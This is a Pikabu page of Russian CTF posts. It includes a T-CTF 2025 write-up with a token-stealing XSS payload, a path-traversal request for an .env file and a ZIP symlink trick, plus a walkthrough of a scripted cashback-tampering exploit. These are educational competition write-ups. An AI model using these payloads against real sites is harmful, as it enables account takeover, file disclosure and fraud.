Горячее
Лучшее
Свежее
Подписки
Сообщества
Блоги
Эксперты
Войти
Забыли пароль?
или продолжите с
Создать аккаунт
Я хочу получать рассылки с лучшими постами за неделю
или
Восстановление пароля
Восстановление пароля
Получить код в Telegram
Войти с Яндекс ID Войти через VK ID
Создавая аккаунт, я соглашаюсь с правилами Пикабу и даю согласие на обработку персональных данных.
ПромокодыРаботаКурсыРекламаИгрыПополнение Steam
Пикабу Игры +1000 бесплатных онлайн игр
Прокачивай отряд квадроберов! Пришельцы напали на зоопарк, сражайтесь с НЛО, зомби. Приручи квадробобера! Корги, Хаски, Акита, Доберман, Сибаину. Эволюция собак

Собаки против Пришельцев

Приключения, Казуальные, Мидкорные

Играть

Топ прошлой недели

  • CharlotteLink CharlotteLink 1 пост
  • Syslikagronom Syslikagronom 7 постов
  • BydniKydrashki BydniKydrashki 7 постов
Посмотреть весь топ

Лучшие посты недели

Рассылка Пикабу: отправляем самые рейтинговые материалы за 7 дней 🔥

Нажимая кнопку «Подписаться на рассылку», я соглашаюсь с Правилами Пикабу и даю согласие на обработку персональных данных.

Спасибо, что подписались!
Пожалуйста, проверьте почту 😊

Новости Пикабу Помощь Кодекс Пикабу Реклама О компании
Команда Пикабу Награды Контакты О проекте Зал славы
Промокоды Скидки Работа Курсы Блоги
Купоны Biggeek Купоны AliExpress Купоны М.Видео Купоны YandexTravel Купоны Lamoda
Мобильное приложение

Ctf

18 постов сначала свежее
0
SapSanich
1 месяц назад

Итоги T-CTF 2025⁠⁠

Всех православных с прошедшим праздником Светлой Пасхи!

Завершился конкурс T-CTF 2025.

Хотелось бы выразить благодарность организаторам за организацию такого масштабного мероприятия.

Всё было круто: интересные задания, и отдельно хотелось бы выделить общую концепцию, вокруг которой строился конкурс.

Итоги T-CTF 2025 Ctf, Программирование, IT, Веб-разработка, Разработка, Telegram (ссылка), Длиннопост

Промежуточные итоги

Всё происходило в вымышленном городе Капибаровск, где необходимо было помочь капибарам в решении их проблем.

Из наблюдений хочу отметить, что организаторы взяли курс на больший охват аудитории из сопутствующих сфер (разработка, тестирование, QA, аналитики) и действительно командную работу. Обеспечили деление на две лиги: безопасности и разработки.

Мне кажется, это очень правильное решение — нужно увеличивать общее понимание практик инфобеза в индустрии.

Решал задания преимущественно по направлению web, могу отметить следующее.

Уровень сложности заданий и порог входа снизился. С учётом данного фактора, когда сложность решения задач снизилась, начал серьёзно играть фактор количества решённых задач в турнирной таблице, и здесь уже имеют преимущество полные команды в 3 человека.

Понравилось разнообразие задач: веб, инфраструктурные, шифрование, разбор трафика, сети, разработка.

Очень часто встречались задания на техническую логику и смекалку. Немного смутило, что это в объёме начало превращаться в какой-то общий типаж заданий, которых было немало. Как понимаю, это задания для широкого круга, но тем не менее.

Из личных результатов: выполнил 10 из 30 заданий, но думаю, можно было показать лучший результат. Задания решал один, без команды.

Постараюсь дать краткий обзор заданий, которые решал и чем-то запомнились.

Капибальпы

Простая сложность

Пранк над сноубордистами... да, с него и началось великое противостояние лыж и сноуборда в Капивеле.

На сайте горнолыжки в Капибальпах появилась новая функция. Капибары могли переводить минуты катания со своего ски-пасса друзьям. Например, если не успевали потратить всё до отъезда. Лыжники решили подшутить над сноубордистами: похитить всё их время катания до последней минуты.

Помнишь, как ты помог им это провернуть?

Первое задание после старта соревнований. Есть виртуальная валюта — минуты катания на склоне. Можно создавать страницу донатов со сбором минут. Здесь и кроется недочёт в логике.

Создаём под сноубордистом сбор донатов, под лыжниками переводим отрицательное число. Фактически загоняем сноубордиста в минус, а у лыжника, который "задонатил" отрицательное число, появляется нужный баланс. В ачивках профиля наблюдаем ключ.

Капибординг

Простая сложность

А это то, чем всё закончилось.

Сноубордистам захотелось восстановить справедливость после пранка лыжников. Ты придумал способ вернуть их время.

Лыжники активно критиковали сноубордистов в комментариях на страницах сноубордических донатов, а ты смог обратить это против них.

Продолжение первого задания, нужно помочь сноубордистам капибарам вернуть минуты обратно.

На всех страницах донатов от сноубордистов приходят лыжники и пишут гадости в комментариях. Наша задача — воспользоваться этим моментом.

Путем небольшого изучения выяснилось, что при создании донатов в заголовке и описании отсутствует должная фильтрация. Это позволяет опубликовать донат с XSS-уязвимостью, который выполнится у лыжника, пишущего гадости.

Доступа к внешней сети у лыжников, как выяснилось, нет — пришлось немного хитрить.

У меня получился следующий код:

<img src="/" onerror='fetch("/api/donation-pages/{ID_ОТДЕЛЬНОГО_ДОНАТА}/comments", {"headers": { "authorization": "Bearer " + localStorage.getItem("token"),"content-type": "application/json"},"body": "{\"content\":\"my token: " + localStorage.getItem("token") + "\"}","method": "POST","mode": "cors","credentials": "include"});'>

Был создан отдельный донат, куда в комментарии будут отправляться сообщения от лыжника, посетившего страницу, с его токеном. Используем полученный токен, подменяем у себя, переводим баланс обратно сноубордисту и забираем ключ в профиле.

Капибасни

Средняя сложность

Новости Капибаровска! В Лицее 42 вместо учителей литературы работает нейросеть. В нее загрузили учебный план, а капибарятам выдали доступ к чату.

Но на уроке по басням Ивана Лапкова нейронка сломалась. Теперь она не преподает, а раздает житейские мудрости направо и налево.

Почините учебный план, чтобы лицеисты снова могли спокойно учиться.

Предоставляется исходник и сам стенд для тестирования.

Регистрируемся на стенде и нужно сформировать учебный план для ученика так, чтобы по каждой из дисциплин набиралось необходимое количество занятий.

При регистрации для пользователя создаются задания от имени учителей, которые ученик не может удалить. Загвоздка в том, что от имени учителя Литературы создано слишком много заданий, а просто удалить их нельзя.

Задача: удалить лишние предметы из учебного плана и набрать отсутствующие, затем запустить учебный план.

Путем анализа исходников можно заметить, что в методе BulkDeleteLessons некорректно проходит проверка владельца урока. Это позволяет удалять даже учительские уроки - хотя система выкидывает ошибку, фактически удаление происходит.

func BulkDeleteLessons(s storage.Store) gin.HandlerFunc {

return func(c *gin.Context) {

var req BulkDeleteRequest

if err := c.ShouldBindJSON(&req); err != nil {

c.JSON(http.StatusBadRequest, NewWrongJsonDataError())

return

}

if len(req.IDs) == 0 {

c.JSON(http.StatusBadRequest, NewNoIDsProvidedError())

return

}

userID, exists := c.Get("user_id")

if !exists {

c.JSON(http.StatusUnauthorized, NewUnauthorizedError())

return

}

lessons, err := s.Lessons().BulkFindByIDs(userID.(uint), req.IDs)

if err != nil {

logger.Errorf("api.BulkDeleteLessons: %v", err)

c.JSON(http.StatusInternalServerError, NewDbError())

return

}

for _, lesson := range lessons {

if lesson.Owner != model.LessonOwnerStudent {

//ЗДЕСЬ ПРОБЛЕМА! ПРОПУЩЕН RETURN ПОСЛЕ СТАТУСА ОБ ОШИБКЕ!

c.JSON(http.StatusForbidden, NewNoPermissionsError())

}

if err := s.Lessons().Delete(lesson.ID); err != nil {

logger.Errorf("api.BulkDeleteLessons: %v", err)

c.JSON(http.StatusInternalServerError, NewDbError())

}

}

c.JSON(http.StatusOK, NewLessonsDeletedMessage())

}

}

Формируем запрос к API через массовое удаление, включая предметы учителя литературы. Затем добавляем в освободившийся учебный план новые предметы и нажимаем кнопку начала плана для получения ключа.

Капибратство

Средняя сложность

Студенческое капибратство «Тета Каппа» устроило испытание для первокурсников: они должны похитить билеты к экзаменам с сервера института.

Подмените их на другие — вымышленные. Не только же студентам можно дурачиться!

Предоставляется сам стенд и исходник.

Задача — прочитать флаг. Путем изучения исходников понимаем, что происходит локальное чтение файлов билетов. Сам ключ лежит в файле: .env.dist.

В исходниках наблюдаем следующий код:

class HTTPTicketController(Controller):

path = "/ticket"

@Route(http_method=HttpMethod.GET)

@inject

async def get_ticket(

self,

course_id: Annotated[str, Body(description="Course ID", title="Course ID")],

ticket_id: Annotated[str, Body(description="Ticket ID", title="Ticket ID")],

get_ticket_interactor: Depends[GetTicketInteractor],

) -> TicketSchema:

try:

ticket = await get_ticket_interactor(

course_id=str(course_id), ticket_id=str(ticket_id)

)

if not ticket:

raise HTTPException(

status_code=HTTPStatus.NOT_FOUND, detail="Ticket not found"

)

return TicketSchema(text=ticket)

except (FileNotFoundError, PermissionError):

raise HTTPException(

status_code=HTTPStatus.NOT_FOUND, detail="Ticket not found"

)

Который ссылается на get_ticket_interactor, а тот в свою очередь проваливается в метод:

async def read_ticket_file(

self, base_path: str, course_id: str, ticket_id: str

) -> str | None:

file_path = Path(base_path) / (course_id + "/" + ticket_id).replace(

"../", "replaced"

)

try:

if not file_path.is_file():

raise FileNotFoundError("File not found")

return file_path.read_text()

except (FileNotFoundError, PermissionError):

raise FileNotFoundError("Error accessing file")

Как видим, происходит чтение файла и некоторая защита от локального чтения с заменой: ../ на replaced, но явно недостаточная.

Формируем запрос вида: /api/ticket?course_id=&ticket_id=/app/.env.dist

Получаем содержимое ключа.

Капибарбер

Средняя сложность

Капибарбершоп Лапы-ножницы выпустил свое приложение. Перед стрижкой клиенты загружают туда референсы, а капибарбер получает пошаговую схему работы.

Кто-то загрузил файл странного формата — и остальные референсы пропали. Теперь всем подряд стригут каре, капибарочки в шоке, а капибизнесмены гуглят магазины париков.

Разберитесь, что произошло, и по дороге забирайте файл flag.txt

Предоставляется исходник и сам стенд.

Задача — забрать файл flag.txt, который хранится в недоступном из веба месте.

При изучении работы приложения обращаем внимание, что перед отправкой изображения (как будет выглядеть капибара после стрижки) происходит сжатие файла в ZIP-архив. Этот архив затем распаковывается на сервере и выкладывается в директорию, доступную из паблика.

Локально формируем symlink с указанием пути к флагу на диске, после чего добавляем эту ссылку в ZIP-архив. Затем загружаем данный архив через API.

После распаковки архива на сервере мы получаем публичную ссылку, которая ведёт на файл с ключом.

Переходим по ссылке — получаем флаг.

—

В заключение хочу сказать, что часть заданий действительно была посильна для решения даже без глубоких знаний в инфобезе.

Поэтому, если у вас есть желание, рекомендую присоединиться и попробовать свои силы в следующем году — даже если вы далеки от тематики информационной безопасности!


P.S. Отдельно хочу подчеркнуть законность и цели этого мероприятия, так как в прошлом посте появились люди, по причине явного непонимания критикующие такую деятельность.

Главная цель — не обучение кражи данных (статью 272 УК РФ никто не отменял!), а понимание принципов работы уязвимостей. Заниматься кражей данных и воровством чужого это плохо. Денег которые стоят того, что вас посадят нет.

Разработчикам и людям задействованным в IT, критически важно разбираться в этих механизмах, знать уязвимости и способы их реализации. Только так мы сможем предотвратить ситуации, когда данные компаний в стране утекают с пугающей регулярностью. Именно для этого и рассказывают о такой активности широкой аудитории.


И конечно подписывайтесь на мой Телеграм канал: https://t.me/+LWoSqRG4ZRk0ZTcy

Показать полностью 1
Ctf Программирование IT Веб-разработка Разработка Telegram (ссылка) Длиннопост
0
15
SapSanich
1 месяц назад

CTF⁠⁠

Дисциплина Capture The Flag (CTF) — это командные соревнования по поиску и реализации уязвимостей в специально подготовленных для этого площадках.

Целью соревнований является нахождение спрятанных флагов, созданных организаторами, которые могут быть найдены в ходе эксплуатации тех или иных уязвимостей системы. За получение каждого флага начисляются баллы.

Простыми словами: CTF — соревнования для специалистов по безопасности (условно назовем их хакерами).

Делятся на направления: веб, приложения, инфраструктура, криптография и т.д.

В ближайшие выходные (с 19 по 20 апреля 2025 г.) будут проходить соревнования «T-CTF 2025» от Т-Банка.

Это не реклама, за это к моему глубокому сожалению мне никто не платит :) Просто интересный конкурс для разминки мозгов.

Формат соревнований — офлайн и онлайн.

Ссылка на соревнование: https://t-ctf.ru/

Все желающие могут принять участие и прикоснуться к миру информационной безопасности.

В рамках разминки создатели T-CTF выкладывают демо-задания перед началом соревнований.

Также для демо-заданий дают информацию по способу их решения, поэтому каждый может, если возникли трудности, прибегнуть к помощи и узнать, как решается то или иное задание.


Регистрируемся на соревновании и получаем список заданий.

Например, попробуем «расковырять» задание «Капибонус» самостоятельно.

Описание задания:

Простое демо-задание — пример того, с чем можно столкнуться в Лиге разработки на простой сложности.

Добро пожаловать в Капиплейс — новый маркетплейс города.

Здесь за покупки дают возможность крутануть колесо Фортуны и выиграть разные призы. Да только никто ничего не может выиграть, хоть и тратят много денег. Попахивает мошенничеством!

Выиграйте 313 337 ₡ и выкупите алгоритм колеса у супермаркета, чтобы впредь удача улыбалась каждому покупателю.

Перейдем по ссылке из личного кабинета — перед нами открылся обычный интернет-магазин. Регистрируемся.

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

Главная страница нашего интернет магазина

Имеем следующие вводные:

Есть интернет-магазин, который дает приветственный бонус в виде 100 единиц для оплаты товаров.

При оплате есть возможность поучаствовать в розыгрыше и покрутить рулетку, которая предоставляет:

  • возврат 200% от стоимости товара;

  • вычитается с вашего счета минус 10%/20%/50% от стоимости товара;

  • 0 — не выиграли, не проиграли.

Также мы видим товар с названием: «Алгоритм Колеса Фортуны». Как можно догадаться, нам необходимо выкупить данный товар для решения задания.

Из очевидных моментов — это возможность рассмотреть сам механизм начисления бонусов и понять, как можно увеличить наш стартовый баланс из 100 до необходимой суммы в 313 337 единиц благодаря данному розыгрышу.

Откроем консоль разработчика (F12), вкладку Network в режиме «Preserve log», чтобы история запросов сохранялась после обновления страницы.

Добавим какой-нибудь недорогой товар, чтобы средств хватило на большее количество тестов, и попробуем его приобрести.

Запрос для добавления товара:

POST https://{HOSTNAME}.spbctf.org/cart/add/119

body пустое

В качестве указателя товара используется идентификатор в GET — 119. Товары хранятся в сессии.

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

HTTP запрос на добавление товара

Попробуем приобрести товар: перейдем в корзину и нажмем на кнопку «Оплатить».

Для оформления заказа запрос уходит на метод:

POST https://{HOSTNAME}.spbctf.org/checkout

body пустое

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

HTTP запрос на оплату

После завершения с нас списываются средства, и нас переводит на страницу с номером заказа.

Далее нам предлагается поучаствовать в самой рулетке — нажимаем на кнопку «Покрутить!».

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

Сам розыгрыш кэшбэка

Мне повезло с первого раза: выпал кэшбэк на 200 процентов :)

Запрос рулетки:

POST https://{HOSTNAME}.spbctf.org/order/24140/set-cashback

BODY: {"cashback": 200}

И вот здесь стоит обратить внимание: в теле метода set-cashback мы видим указание на применяемый кэшбэк в 200.

Фактически сам кэшбэк рулетки определяется на стороне клиента (фронтенд), а затем уже сообщается серверу о том, какой результат выпал!

Так как мы можем влиять на запросы, которые от нас уходят, мы фактически можем подменять результаты всех розыгрышей на 200% кэшбэк.

Отлично, это уже способ нарастить баланс!

Попробуем расковырять его дальше и проверить, можем ли мы получить кэшбэк в размере, например, 20000%.

Повторяем операцию: добавляем товар и оформляем заказ.

При указании числа большего, чем 200, выдает статус 303, и кэшбэк не применяется.

Самый простой способ не удался — не получилось вписать большой процент, но рабочий механизм наращивания кэшбэка у нас уже есть.

Будем его использовать!

Наша задача — создать такое количество запросов, которое позволит нам получить баланс для оплаты товара на сумму 313 337.

Поехали: попробуем воспроизвести цикл добавления товара, оформления заказа и кэшбэка автоматически, чтобы не воспроизводить это дело руками.

Делать это будем там же, в консоли разработчика.

Запросы у нас уже есть в консоли — копируем их правой кнопкой мыши: «Copy as fetch».

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

Копируем исходные запросы

Для реализации подобной логики потребуются небольшие знания программирования на JavaScript.

Сам запрос у нас уже есть — нужно составить цепочку запросов, которые идут друг за другом, и еще вытащить номер заказа для передачи следующему методу.

Давайте попробуем составить эту цепочку и выполнить в консоли.

Единственный момент: на самом сервисе магазина происходит редирект с HTTPS на HTTP, поэтому была добавлена опция в fetch: referrerPolicy: "unsafe-url", чтобы проигнорировать предупреждения браузера.

Вставляем все это дело в консоль разработчика и отправляем:

fetch("https://{HOSTNAME}.spbctf.org/cart/add/119", {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/?sort_by=price&order=asc&page=8",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(function() {

let url = "https://{HOSTNAME}.spbctf.org/checkout";

fetch(url, {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/cart",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(function(response) {

//здесь мы разбираем текущий url и получаем идентификатор заказа

var matches = response.url.match(/order\/(\d+)$/);

//далее этот идентификатор заказа используем для получения кэшбэка

fetch("https://{HOSTNAME}.spbctf.org/order/" + matches[1] + "/set-cashback", {

"headers": {

"accept": "*/*",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/json"

},

"referrer": "https://{HOSTNAME}.spbctf.org/order/23714",

"referrerPolicy": "strict-origin-when-cross-origin",

"body": "{\"cashback\":200}",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

});

})

})

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

Вставляем все это дело в консоль разработчика

Отлично, баланс изменяется автоматически после каждого выполнения кода в консоли.

Обновим товар на более дорогой, чтобы получать больший кэшбэк.

В строке добавления в корзину меняем 119 на ID нужного товара.

fetch("https://{HOSTNAME}.spbctf.org/cart/add/119"

Посмотреть идентификатор товара можно через вкладку Network при добавлении товара либо через Elements в консоли разработчика (ПКМ на кнопке «Купить» → «Просмотреть код»).

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

Получение нужного идентификатора товара

Теперь автоматизируем отправку запросов в цикле, чтобы не вызывать их вручную.

Добавим цикл и сделаем так, чтобы запросы выполнялись последовательно. Для этого используем async/await.

Итоговый код:

for (let i = 0; i < 9; i++) {

await fetch("https://{HOSTNAME}.spbctf.org/cart/add/124", {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/?sort_by=price&order=asc&page=8",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(async function() {

let url = "https://{HOSTNAME}.spbctf.org/checkout";

await fetch(url, {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/cart",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(async function(response) {

console.log(response);

//здесь мы разбираем текущий url и получаем идентификатор заказа

var matches = response.url.match(/order\/(\d+)$/);

//далее этот идентификатор заказа используем для получения кэшбэка

await fetch("https://{HOSTNAME}.spbctf.org/order/" + matches[1] + "/set-cashback", {

"headers": {

"accept": "*/*",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/json"

},

"referrer": "https://{HOSTNAME}.spbctf.org/order/23714",

"referrerPolicy": "strict-origin-when-cross-origin",

"body": "{\"cashback\":200}",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

});

});

});

}

На выходе получаем конструкцию, которая позволяет наращивать баланс благодаря уязвимости в механизме кэшбэка.

Когда баланс достигает 313 337 ₡, покупаем товар «Алгоритм Колеса Фортуны», получаем ключ и вводим его в личном кабинете CTF.

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

Получили итоговый ключ для выполнения задания!

Задание выполнено!

Подписывайтесь на мой Телеграм канал: https://t.me/+LWoSqRG4ZRk0ZTcy

Показать полностью 8
[моё] Ctf Telegram (ссылка) Информационная безопасность Программирование Web-программирование Длиннопост
8
3
Chthon
10 месяцев назад

Миссия "Автокража": как я решал необычное задание CTF⁠⁠

Привет, Pikabu!

Сегодня хочу поделиться решением одного из необычных и заданий на одной площадке с CTF заданиями . Но прежде давайте разберемся, что такое CTF.

CTF, или Capture The Flag, — это вид соревнований по кибербезопасности, где участники решают различные задачи из области информационной безопасности, криптографии, веб-безопасности, программирования и многих других дисциплин. Задачи могут варьироваться от простых до крайне сложных, и каждое решение приносит команде очки. Обычно соревнования делятся на два основных формата: "Jeopardy", где участники выбирают задачи по интересующим категориям, и "Attack-Defense", где каждая команда защищает свою сеть и атакует сети противников

Само задание выглядит так

Миссия "Автокража": как я решал необычное задание CTF GTA: San Andreas, Хакеры, Ctf, Длиннопост

Инопланетяне украли мой автомобиль! Нашедшему вознаграждение в виде флага! Особые приметы: инфернальное название, цвет оранжевый, золотые диски, последний раз был замечен где-то в Bone County

На первый взгляд не очень понятно что надо сделать и где начинать искать. Но давайте начнем по порядку. В тексте задания упоминается какая то локация Bone Country, если погуглить, то станет понятно что это локация из игры Grand Theft Auto: San Andreas.

Миссия "Автокража": как я решал необычное задание CTF GTA: San Andreas, Хакеры, Ctf, Длиннопост

У GTA:SA есть мультиплеерная составляющая - SAMP. Неужели это отдельный игровой сервер где надо найти ctf флаг? Да, это он. Ah shit, here we go again

Миссия "Автокража": как я решал необычное задание CTF GTA: San Andreas, Хакеры, Ctf, Длиннопост

И так, у нас есть игровой сервер с кучей машин, но нам надо найти одну единственную. Из описания задания у нас есть подсказка, что машина имеет инфернальное название. Если посмотреть список техники из GTA:SA, то можно найти машину с названием Infernus, ну собственно она нам и нужна.

Миссия "Автокража": как я решал необычное задание CTF GTA: San Andreas, Хакеры, Ctf, Длиннопост

Теперь остается вопрос, где ее искать на такой большой площади? Если вы вдруг знакомы с лором и пасхалками из GTA:SA, то наверняка поняли эту отсылку про инопланетян.

Миссия "Автокража": как я решал необычное задание CTF GTA: San Andreas, Хакеры, Ctf, Длиннопост

Собственно в Bone Country только 2 места связанных с НЛО, это военная база и придорожная закусочная с летающей тарелкой. Ну собственно место для поиска понятно. Но это слишком просто, а задание помечено как среднее, значит давайте решим его более сложным способом.

Представим, что вы нормальный, адекватный человек и никогда не играли в GTA и все это время тратили с пользой для общества. Мы можем написать скрипт, который будет опрашивать всю технику в поле загрузки игрока и искать необходимую машину. Благо, за все это время в для GTA:SA был разработан мод MoonLoader, который позволяет загружать свои lua-скрипты.

И так, нам понадобится, сам MoonLoader, библиотека SAMPFUNC, версия SAMP 0.3.7-R3(Это важно) и версия GTA:SA v1.0.0 US(Это тоже важно)

И если после установки вы видите такой загрузочный экран, значит все установлено верно

Миссия "Автокража": как я решал необычное задание CTF GTA: San Andreas, Хакеры, Ctf, Длиннопост

Тогда приступим к написанию скрипта

wm = require 'windows.message'

font_flag = require('moonloader').font_flag

font = renderCreateFont('Arial', 11, font_flag.SHADOW + font_flag.BOLD)

local infernusModelId = 411 -- ID модели Infernus в GTA:SA

local vrender = false -- переменная для переключения отображения

function main()

if not isSampLoaded() or not isSampfuncsLoaded() then return end

while not isSampAvailable() do wait(0) end

addEventHandler('onWindowMessage', function(msg, wparam, lparam)

if msg == wm.WM_KEYDOWN or msg == wm.WM_SYSKEYDOWN then

if wparam == VK_F3 then

vrender = not vrender

end

end

end)

while true do

wait(0)

if vrender then

local vehicles = getAllVehicles() -- Получаем список всех транспортных средств в игре

for i, vehicle in ipairs(vehicles) do

if getCarModel(vehicle) == infernusModelId and isCarOnScreen(vehicle) then

displayInfernusInfo(vehicle) -- Отображение информации о Infernus

end

end

end

end

end

function displayInfernusInfo(vehicle)

-- Получаем координаты транспортного средства

local cx, cy, cz = getCarCoordinates(vehicle)

-- Конвертируем координаты в позицию на экране

local x, y = convert3DCoordsToScreen(cx, cy, cz)

-- Строка, которую хотим отобразить

local model = "Infernus (" .. tostring(getCarModel(vehicle)) .. ')'

-- Получаем длину и высоту текста для отрисовки

local length = renderGetFontDrawTextLength(font, model, true)

local height = renderGetFontDrawHeight(font)

-- Установим цвет текста

local textcolor = 0xFF00B811 -- Зелёный

if getCarDoorLockStatus(vehicle) == 2 then

textcolor = 0xFFEC0000 -- Красный, если двери заблокированы

end

-- Отрисовываем текст

renderFontDrawText(font, model, x - (length + 5) / 2, y - (height + 7) / 2, textcolor, true)

end

И так, скрипт готов. Скрипт активируется на клавишу F3. Сохраняем его в папку и заходим на сервер. Быстрее всего будет найти машину с воздуха, поэтому отправляемся в аэропорт Las Venturas и садимся в вертолет. Убеждаемся что наш скрипт работает, так как Infernus рядом с аэропортом прекрасно виден.

Миссия "Автокража": как я решал необычное задание CTF GTA: San Andreas, Хакеры, Ctf, Длиннопост

Начинаем облетать заданную локацию с севера на юг и в скором времени заметим Infernus помеченный красной надписью, а это значит что двери авто заблокированы, чтобы авто не угнали.

Миссия "Автокража": как я решал необычное задание CTF GTA: San Andreas, Хакеры, Ctf, Длиннопост

Похоже это наш пациент. Подходим к нему ближе и да, это он, а сверху флаг. Осталось только вбить его в форму и задание выполнено

Миссия "Автокража": как я решал необычное задание CTF GTA: San Andreas, Хакеры, Ctf, Длиннопост

Всем спасибо за внимание.

Показать полностью 8
[моё] GTA: San Andreas Хакеры Ctf Длиннопост
0
tarjaqt
tarjaqt
1 год назад

Поиск команды⁠⁠

У меня все просто. Живу в мск, ищу человечков, чтобы поиграть в следующие вещи. Возможно и команды. Штучки между собой не связаны, можно по отдельности смотреть. Опыта у меня мало, но желание есть:
1) CTF (Capture the flag). Мой опыт - z10n, 20/200 место.
2) квизы (очные). Опыт- easy quiz, чгк.
3) своя игра
4) кооп игры
5) настольные игры, игротеки

[моё] Ctf Quiz Своя игра Захват флага Команда Поиск команды Кооператив Игры Настольные игры Компьютерные игры Текст Игротека
2
0
nostromo.robotix
nostromo.robotix
1 год назад

Помогите найти место на фото (OSINT/GEOINT)⁠⁠

Помогите найти место на фото (OSINT/GEOINT) Osint, Лига детективов, Разведка, Ctf, Латвия

Присмотритесь, это не троллейбус

Всем привет! Продолжаю делать CTF по OSINT. Для этих квестов я ищу определенные фотографии, на примере которых можно продемонстрировать принципы действия геопространственной разведки и поиск информации по открытым источникам. Иногда я понимаю, что фотография может заключать в себе слишком много ключей, на отработку которых может уйти не один час, а потом я вспоминаю, что международные расследователи в таких случаях успешно используют краудсорсинг, чаще всего твиттер. С твиттером сейчас непонятно, а пикабу мне очень помог в разборе прошлой задачи на поиск локации: Помогите определить местность на фото тогда её решили менее чем за сутки, поэтому я решил попробовать ещё раз)

P.S. Я уже нашёл много информации по этой фотографии, но я уверен, что такие задачи развивают насмотренность и тренируют информационную грамотность, поэтому не буду светить всё что я нашёл, но здесь будет достаточно информации для старта.

Задача:
Определить точное направление съёмки и показать его на карте.

Точка старта:
Если с десктопа, кликните правой клавишей мыши по картинке >> поиск изображения гугл >> найти источник изображения >> ссылка на оригинал изображения >> Flickr. Добро пожаловать в Latvijas armija. Как отследить военный патрульный катер P-8 типа «Jelgava» подсказывать не буду)

Подсказка: правило 20 вопросов.
Если не знаете, на что обращать внимание, задайте 20 вопросов из разряда: что это за номер там на панели, причём тут город Елгава, и даст ли вам что-нибудь вид за окном. Может быть, именно 20 вопросов и не наберется, зато вы точно будете знать, что не пропустили ни одного ключа.

Подсказка 2:
Чтобы успешнее искать окружение через обратный поиск по изображению, можно вырезать и улучшить отдельный кусок фотографии

⚠️ @iTokado взял флаг менее чем за час после публикации задачи.

Показать полностью
Osint Лига детективов Разведка Ctf Латвия
19
mrjohns
2 года назад

Тест⁠⁠

Тест

Ctf Реверс IT Hacking Хакеры Программист Программирование Linux Python Текст
14
ctwitman
ctwitman
2 года назад

#0001. ARG, CTF, IT-квесты. Для начинающих⁠⁠

Приветствую всех пикабушников!

Имеется желание создать несколько постов, посвященным техникам и инструментам прохождения игр ARG, CTF. Да и, может быть, найти единомышленников для совместного прохождения подобных квестов. Хочется рассказать о тех играх, которые мне "зашли", пройдены, и о тех, где сам в данный момент застрял. Я новичок и самоучка, не имеющий профильного

образования, поэтому заранее прошу снисхождения от "гуру" за неточность формулировок и т.п.

Это первый пост, пробный.

Итак, начнём.


Сёрфил недавно интернет, наткнулся на обзорную статью на Хабре

https://habr.com/ru/company/ruvds/blog/566186/

В ней идёт речь о подборке сайтов в стиле "минимализм", работающих на любом старом железе, мгновенно открывающихся, не жрущих гигабайтами ресурсы компьютера. И занимающих при этом килобайты, которые можно пересчитать по пальцам. Ссылка на саму подборку https://512kb.club/

Заинтересовал меня сайт, в настоящий момент находящийся на второй строчке рейтинга. https://2hash.ru/

С виду обычный сайт-блог айтишника. Сверху есть ссылочка, называющаяся CTF. Жмакаю туда, попадаю на страницу с CTF для начинающих.

#0001. ARG, CTF, IT-квесты. Для начинающих Arg, Ctf, Длиннопост

Много времени прохождение не потребует, если вы опытный игрок. А вот для начинающих- самое то. Присутствуют в игре основные дисциплины (стеганография, криптография и т.д.) для поиска флагов-подсказок. Спойлерить заранее не буду. Рассмотрим здесь прохождение нескольких уровней. Итак, жмём ссылку

https://2hash.ru/ctf/a8802331696f7a2f3ab7fe861206ee9c

#0001. ARG, CTF, IT-квесты. Для начинающих Arg, Ctf, Длиннопост

